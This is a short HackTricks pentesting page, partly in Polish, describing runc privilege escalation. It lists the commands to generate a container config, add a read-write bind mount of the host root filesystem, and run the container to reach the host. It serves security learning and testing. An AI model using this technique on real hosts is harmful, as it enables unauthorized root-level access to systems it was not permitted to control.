RunC Privilege Escalation

Support HackTricks

Podstawowe informacje

If you want to learn more about runc check the following page:

2375, 2376 Pentesting Docker

PE

If you find that runc is installed in the host you may be able to uruchomić kontener montując folder root / hosta.

runc -help #Get help and see if runc is intalled
runc spec #This will create the config.json file in your current folder

Inside the "mounts" section of the create config.json add the following lines:
{
"type": "bind",
"source": "/",
"destination": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
},

#Once you have modified the config.json file, create the folder rootfs in the same directory
mkdir rootfs

# Finally, start the container
# The root folder is the one from the host
runc run demo

To nie zawsze zadziała, ponieważ domyślną operacją runc jest uruchamianie jako root, więc uruchomienie go jako użytkownik bez uprawnień po prostu nie może działać (chyba że masz konfigurację bezrootową). Ustawienie konfiguracji bezrootowej jako domyślnej nie jest zazwyczaj dobrym pomysłem, ponieważ istnieje wiele ograniczeń wewnątrz kontenerów bezrootowych, które nie mają zastosowania poza kontenerami bezrootowymi.

Wsparcie dla HackTricks

Last updated